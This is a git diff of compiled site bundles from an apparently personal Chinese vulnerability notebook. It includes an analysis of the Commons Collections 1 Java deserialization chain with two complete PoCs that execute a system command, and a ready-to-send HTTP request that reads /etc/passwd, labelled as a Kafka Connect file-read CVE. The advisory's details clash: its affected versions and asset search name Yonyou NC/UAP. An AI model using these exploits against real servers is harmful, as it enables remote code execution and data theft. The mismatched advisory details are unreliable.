2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u4ee3\u7801\u5ba1\u8ba1/Java/ysoserial\u5229\u7528\u94fe/CC1-7/CC2"}}');var r=a(74848),s=a(28453);const o={},c="Apache Commons Collections 1",i={},l=[{value:"\u5229\u7528\u94fe\u5206\u6790",id:"\u5229\u7528\u94fe\u5206\u6790",level:2},{value:"\u56fd\u5185",id:"\u56fd\u5185",level:3},{value:"\u56fd\u5916",id:"\u56fd\u5916",level:3},{value:"CC1\u5229\u7528\u6d41\u7a0b\u56fe",id:"cc1\u5229\u7528\u6d41\u7a0b\u56fe",level:2}];function m(e){const n={code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",ul:"ul",...(0,s.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"apache-commons-collections-1",children:"Apache Commons Collections 1"})}),"\n",(0,r.jsx)(n.h2,{id:"\u5229\u7528\u94fe\u5206\u6790",children:"\u5229\u7528\u94fe\u5206\u6790"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"InvokerTransformer"})," \u5bf9\u5176\u6076\u610f\u8c03\u7528\u65f6\u7528\u6cd5\u4e3a\uff0c\u5982\u56fe\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u5bfb\u627e\u5176\u8c03\u7528transform\u65b9\u6cd5\u518d\u4f55\u5904\uff0c"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211826795.png-1",alt:"image-20221121161648490"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5176\u5b9e\u4e0d\u96be\u53d1\u73b0\uff0c\u8be5\u5305\u7c7b\u6709\u5f88\u591a\u5904\u90fd\u8c03\u7528\u4e86\u8be5\u65b9\u6cd5\uff0c\uff08",(0,r.jsx)(n.del,{children:"\u8fd9\u91cc\u6709\u4e24\u6761\u94fe\uff0c\u5148\u5206\u6790\u56fd\u5185\u8fd9\u6761\u94fe"}),"\uff09"]}),"\n",(0,r.jsx)(n.h3,{id:"\u56fd\u5185",children:"\u56fd\u5185"}),"\n",(0,r.jsx)(n.p,{children:"\u5176\u4e2d\u5728\u8fd9checkSetValue\u4e2d"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211826797.png-1",alt:"image-20221121162007507"})}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u8fd9\u4e2a\u7c7b",(0,r.jsx)(n.code,{children:"TransformedMap"}),"\u4e2d\u53ef\u4ee5\u53d1\u73b0\u8c03\u7528\u4e86transform \u53ef\u4ee5\u770b\u4e00\u4e0b\u5176\u6784\u9020\u65b9\u6cd5\u4e2d \u53c2\u6570\u662f\u5426\u53ef\u63a7\u3002"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-java",children:"\n /**\n * Override to transform the value when using setValue.\n * \n * @param value the value to transform\n * @return the transformed value\n * @since Commons Collections 3.1\n */\n protected Object checkSetValue(Object value) {\n return valueTransformer.transform(value);\n }\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u4ee5\u53d1\u73b0\u8fd9\u4e2a\u7c7b \u5176\u5b9e\u662f\u5bf9 map \u7c7b\u7684 \u4e00\u4e2a\u5c01\u88c5\u7c7b\u4f3c\u4e8e\uff0ccheckSetValue\u8c03\u7528\u7684\u5c31\u662fvalueTransformer\u7684transform"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202211211826799.png-1",alt:"image-20221121162546300"})}),"\n",(0,r.jsxs)(n.p,{children:["\u4ed6\u7684\u6784\u9020\u65b9\u6cd5\u5b9e\u9645\u662f\u53ef\u63a7\u7684\uff0c\u7ee7\u7eed\u5f80\u4e0a\u627e\uff0c\u53d1\u73b0\u53ea\u6709\u4e00\u5904\u8c03\u7528\u4e86checkSetValue\uff0c\u5c31\u662f``TransformedMap",(0,r.jsx)(n.code,{children:"\u7684\u7236\u7c7b "}),"AbstractInputCheckedMapDecorator`(\u62bd\u8c61\u7c7b)"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813573.png-1",alt:"image-20230220102949587"})}),"\n",(0,r.jsxs)(n.p,{children:["\u800c MapEntry \u6211\u4eec\u77e5\u9053\u5728\u5faa\u73af\u904d\u5386\u7684\u65f6\u5019\u4f1a\u89e6\u53d1\uff0c\u6240\u4ee5\u53ea\u8981\u5bf9map\u8fdb\u884c\u904d\u5386\u5e76\u8bbe\u7f6e\u503c\u4e5f\u5c31\u4f1a\u89e6\u53d1checkSetValue\u8fd9\u4e2a\u65b9\u6cd5\u3002\u5c31\u53ef\u4ee5\u5173\u6ce8\u5230Sun\u5305\u4e0b\u9762\u7684",(0,r.jsx)(n.code,{children:"AnnotationInvocationHandler"}),"\u8fd9\u4e2a\u7c7b\uff0c\u5728readObject \u4e2d \u5faa\u73af\u904d\u5386\u7684map"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813539.png-1",alt:"image-20230220103524663"})}),"\n",(0,r.jsx)(n.p,{children:"\u800c\u8fd9\u91cc\u6709\u4e2a\u96be\u70b9\u5c31\u662f\uff0cmemberValue.setValue(value)\u8fd9\u4e2a\u65b9\u6cd5\u4e2d\u7684value\uff0c\u662fnew \u4e86\u4e00\u4e2a\u51fa\u6765\u7684\u4ee3\u7406\u7c7b\uff0c\u6240\u4ee5\u5c31\u5f88\u96be\u63a7\u5236\uff0c\u4e8e\u662f\u53c8\u53ef\u4ee5\u60f3\u5230\u4e4b\u524d\u6d89\u53ca\u5230\u7684\u4e00\u4e2a\u7c7b"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"ConstantTransformer"}),"\uff0c\u8be5\u7c7b\u7684transformer\u65b9\u6cd5\uff0c\u53ef\u4ee5\u76f4\u63a5\u8fd4\u56de\u56fa\u5b9a\u5bf9\u8c61\uff0c",(0,r.jsx)(n.code,{children:"ChainedTransformer"})," \u53c8\u53ef\u4ee5\u5faa\u73af\u8c03\u7528transformer\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u800c\u8fdb\u5165\u5230\u9700\u8981\u4e24\u4e2a\u6761\u4ef6"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsxs)(n.li,{children:[(0,r.jsx)(n.code,{children:"AnnotationInvocationHandler"}),"\u7684type\u9700\u8981\u4e00\u4e2avalue \u624d\u80fd\u8fdb\u5165\u3002"]}),"\n",(0,r.jsx)(n.li,{children:"map\u4e2d\u7684key\u503c\u4e5f\u9700\u8981\u8fd9\u4e2avalue\u7684\u503c\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-java",children:'package org.example;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\u3001\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.*;\nimport java.lang.annotation.Target;\nimport java.lang.reflect.*;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC1 {\n public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {\n // \u56fd\u5185\n ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{\n new ConstantTransformer(Runtime.class),\n new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),\n new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),\n });\n HashMap objectObjectHashMap = new HashMap<>();\n objectObjectHashMap.put("value","");\n Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);\n Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);\n declaredConstructor.setAccessible(true);\n Object o = declaredConstructor.newInstance(Target.class, decorate);\n serialize(o);\n unserialize("ser.bin");\n }\n\n public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {\n ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));\n return objectInputStream.readObject();\n }\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));\n objectOutputStream.writeObject(obj);\n }\n\n}\n'})}),"\n",(0,r.jsx)(n.h3,{id:"\u56fd\u5916",children:"\u56fd\u5916"}),"\n",(0,r.jsx)(n.p,{children:"\u4e0e\u56fd\u5185\u7684\u601d\u8def\u4e00\u81f4\uff0c\u4e0d\u540c\u7684\u662f\u5229\u7528\u7684map\u4e0d\u4e00\u6837\u3002"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813575.png-1",alt:"image-20230220140915373"})}),"\n",(0,r.jsxs)(n.p,{children:["\u800c\u7b26\u5408\u8fd9\u4e2a\u7684\u662f\u5728",(0,r.jsx)(n.code,{children:"AnnotationInvocationHandler"})," \u7684invoke\u65b9\u6cd5\u4e2d\uff0c\u6211\u4eec\u77e5\u9053invoke\u662f\u52a8\u6001\u4ee3\u7406\u65f6\u4f1a\u81ea\u52a8\u89e6\u53d1invoke\u65b9\u6cd5\uff0c\u521a\u597d\u8fd9\u4e2amemberValues\u4e5f\u662f\u53ef\u63a7\u5236\u7684"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813576.png-1",alt:"image-20230220141056311"})}),"\n",(0,r.jsxs)(n.p,{children:["\u6240\u4ee5\uff0c\u6211\u4eec\u53ef\u4ee5\u5728",(0,r.jsx)(n.code,{children:"AnnotationInvocationHandler"}),"\u8fd9\u4e2a\u7c7b\u5957\u4e0a\u4e00\u5c42\u4ee3\u7406\u7c7b\uff0c\u4e8e\u662f\u4ee3\u7801\u8d70\u5230entrySet()\u65f6\uff0c\u5c31\u4f1a\u89e6\u53d1invoke\u65b9\u6cd5\u3002\u6210\u529f\u6267\u884c\u4f1a\u5e8f\u4ee3\u7801"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813577.png-1",alt:"image-20230220141206343"})}),"\n",(0,r.jsx)(n.p,{children:"\u5b8c\u6574POC"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-java",children:'package org.example;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\n\nimport java.io.*;\nimport java.lang.reflect.*;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CC1 {\n public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {\n // \u56fd\u5916\n ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{\n new ConstantTransformer(Runtime.class),\n new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),\n new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),\n });\n HashMap objectObjectHashMap = new HashMap<>();\n Map decorate = LazyMap.decorate(objectObjectHashMap, chainedTransformer);\n Class aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");\n Constructor declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);\n declaredConstructor.setAccessible(true);\n InvocationHandler o = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);\n Map proxyMap= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);\n Object o1 = declaredConstructor.newInstance(Override.class, proxyMap);\n serialize(o1);\n unserialize("ser.bin");\n }\n\n public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {\n ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));\n return objectInputStream.readObject();\n }\n public static void serialize(Object obj) throws IOException {\n ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));\n objectOutputStream.writeObject(obj);\n }\n'})}),"\n",(0,r.jsx)(n.h2,{id:"cc1\u5229\u7528\u6d41\u7a0b\u56fe",children:"CC1\u5229\u7528\u6d41\u7a0b\u56fe"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202302211813578.png-1",alt:"image-20230220171022413"})})]})}function p(e={}){const{wrapper:n}={...(0,s.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(m,{...e})}):m(e)}}}]); \ No newline at end of file diff --git a/assets/js/ba2be31d.689cd3cb.js b/assets/js/ba2be31d.689cd3cb.js new file mode 100644 index 0000000..f07f774 --- /dev/null +++ b/assets/js/ba2be31d.689cd3cb.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9819],{28453:(e,n,t)=>{t.d(n,{R:()=>c,x:()=>o});var a=t(96540);const s={},r=a.createContext(s);function c(e){const n=a.useContext(r);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:c(e.components),a.createElement(r.Provider,{value:n},e.children)}},31550:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>i,contentTitle:()=>o,default:()=>u,frontMatter:()=>c,metadata:()=>a,toc:()=>l});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","title":"Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u4e2d\u95f4\u4ef6/Apache","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/09.\u6f0f\u6d1e\u5408\u96c6/01.\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u57fa\u4e8e\u673a\u5668\u5b66\u4e60\u7684ICP\u5907\u6848\u67e5\u8be2\u9a8c\u8bc1\u7801\u8bc6\u522b\u6280\u672f\u7814\u7a76/"},"next":{"title":"\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)"}}');var s=t(74848),r=t(28453);const c={},o="\u4e00\u3001\u6f0f\u6d1e\u7b80\u4ecb",i={},l=[];function d(e){const n={code:"code",h1:"h1",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-06-14 17:57:25"})]})})]}),"\n",(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"\u4e00\u6f0f\u6d1e\u7b80\u4ecb",children:"\u4e00\u3001\u6f0f\u6d1e\u7b80\u4ecb"})}),"\n",(0,s.jsx)(n.p,{children:"Kafka Connect \u662f\u4e00\u79cd\u7528\u4e8e\u5728 Apache Kafka \u548c\u5176\u4ed6\u7cfb\u7edf\u4e4b\u95f4\u53ef\u6269\u5c55\u4e14\u53ef\u9760\u5730\u6d41\u5f0f\u4f20\u8f93\u6570\u636e\u7684\u5de5\u5177\u3002 \u5b83\u4f7f\u5feb\u901f\u5b9a\u4e49\u5c06\u5927\u91cf\u6570\u636e\u79fb\u5165\u548c\u79fb\u51fa Kafka \u7684\u8fde\u63a5\u5668\u53d8\u5f97\u7b80\u5355\u3002 Kafka Connect \u53ef\u4ee5\u6444\u53d6\u6574\u4e2a\u6570\u636e\u5e93\u6216\u4ece\u6240\u6709\u5e94\u7528\u7a0b\u5e8f\u670d\u52a1\u5668\u6536\u96c6\u6307\u6807\u5230 Kafka \u4e3b\u9898\u4e2d\uff0c\u4f7f\u6570\u636e\u53ef\u7528\u4e8e\u4f4e\u5ef6\u8fdf\u7684\u6d41\u5904\u7406\u3002 \u5bfc\u51fa\u4f5c\u4e1a\u53ef\u4ee5\u5c06\u6570\u636e\u4ece Kafka \u4e3b\u9898\u4f20\u9001\u5230\u4e8c\u7ea7\u5b58\u50a8\u548c\u67e5\u8be2\u7cfb\u7edf\u6216\u6279\u5904\u7406\u7cfb\u7edf\u8fdb\u884c\u79bb\u7ebf\u5206\u6790\u3002"}),"\n",(0,s.jsx)(n.h1,{id:"\u4e8c\u5f71\u54cd\u7248\u672c",children:"\u4e8c\u3001\u5f71\u54cd\u7248\u672c"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u7528\u53cbNC"}),"\n"]}),"\n",(0,s.jsx)(n.h1,{id:"\u4e09\u8d44\u4ea7\u6d4b\u7ed8",children:"\u4e09\u3001\u8d44\u4ea7\u6d4b\u7ed8"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsxs)(n.li,{children:["huiter\uff1a",(0,s.jsx)(n.code,{children:'app.name=="\u7528\u53cb UAP"'})]}),"\n"]}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:"\u767b\u5f55\u9875\u9762"}),"\n"]}),"\n",(0,s.jsx)(n.h1,{id:"\u56db\u6f0f\u6d1e\u590d\u73b0",children:"\u56db\u3001\u6f0f\u6d1e\u590d\u73b0"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-plain",children:'POST /druid/indexer/v1/sampler?for=connect HTTP/1.1\nHost: \nAccept-Encoding: gzip, deflate\nAccept: */*\nAccept-Language: en-US;q=0.9,en;q=0.8\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36\nConnection: close\nCache-Control: max-age=0\nContent-Type: application/json\nContent-Length: 1617\n\n{\n "type": "kafka",\n "spec": {\n "type": "kafka",\n "ioConfig": {\n "type": "kafka",\n "consumerProperties": {\n "bootstrap.servers": "127.0.0.1:6666",\n "sasl.mechanism": "OAUTHBEARER",\n "security.protocol": "SASL_SSL",\n "sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",\n "sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",\n "sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\\"http://127.0.0.1:9999/token\\" sasl.oauthbearer.jwks.endpoint.url=\\"http://127.0.0.1:9999/jwks\\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\\"http://127.0.0.1:9999\\" useFirstPass=true serviceName=kafka debug=true;"\n },\n "topic": "test",\n "useEarliestOffset": true,\n "inputFormat": {\n "type": "regex",\n "pattern": "([\\\\s\\\\S]*)",\n "listDelimiter": "",\n "columns": ["raw"]\n }\n },\n "dataSchema": {\n "dataSource": "sample",\n "timestampSpec": {\n "column": "!!!_no_such_column_!!!",\n "missingValue": "1970-01-01T00:00:00Z"\n },\n "dimensionsSpec": {},\n "granularitySpec": {\n "rollup": false\n }\n },\n "tuningConfig": {\n "type": "kafka"\n }\n },\n "samplerConfig": {\n "numRows": 500,\n "timeoutMs": 15000\n }\n}\n'})})]})}function u(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/ba585fcf.5753f486.js b/assets/js/ba585fcf.5753f486.js new file mode 100644 index 0000000..2cc6e58 --- /dev/null +++ b/assets/js/ba585fcf.5753f486.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[929],{28453:(n,e,r)=>{r.d(e,{R:()=>i,x:()=>c});var s=r(96540);const d={},l=s.createContext(d);function i(n){const e=s.useContext(l);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function c(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(d):n.components||d:i(n.components),s.createElement(l.Provider,{value:e},n.children)}},35614:(n,e,r)=>{r.r(e),r.d(e,{assets:()=>t,contentTitle:()=>c,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","title":"3.4 \u6a21\u578b\u6784\u5efa.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/03.\u7b2c\u4e09\u7ae0/3.4 \u6a21\u578b\u6784\u5efa.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"3.3 \u6570\u636e\u8bfb\u5165.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.3 \u6570\u636e\u8bfb\u5165"},"next":{"title":"3.5 \u6a21\u578b\u521d\u59cb\u5316.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e09\u7ae0/3.5 \u6a21\u578b\u521d\u59cb\u5316"}}');var d=r(74848),l=r(28453);const i={},c="3.4 \u6a21\u578b\u6784\u5efa.md",t={},o=[{value:"3.4.1 \u795e\u7ecf\u7f51\u7edc\u7684\u6784\u9020",id:"341-\u795e\u7ecf\u7f51\u7edc\u7684\u6784\u9020",level:2},{value:"3.4.2 \u795e\u7ecf\u7f51\u7edc\u4e2d\u5e38\u89c1\u7684\u5c42",id:"342-\u795e\u7ecf\u7f51\u7edc\u4e2d\u5e38\u89c1\u7684\u5c42",level:2},{value:"3.4.3 \u6a21\u578b\u793a\u4f8b",id:"343-\u6a21\u578b\u793a\u4f8b",level:2}];function a(n){const e={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...n.components};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(e.header,{children:(0,d.jsx)(e.h1,{id:"34-\u6a21\u578b\u6784\u5efamd",children:"3.4 \u6a21\u578b\u6784\u5efa.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:15"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,d.jsxs)(e.table,{children:[(0,d.jsx)(e.thead,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,d.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,d.jsx)(e.tbody,{children:(0,d.jsxs)(e.tr,{children:[(0,d.jsx)(e.td,{style:{textAlign:"left"},children:(0,d.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,d.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,d.jsx)(e.h1,{id:"34-\u6a21\u578b\u6784\u5efa",children:"3.4 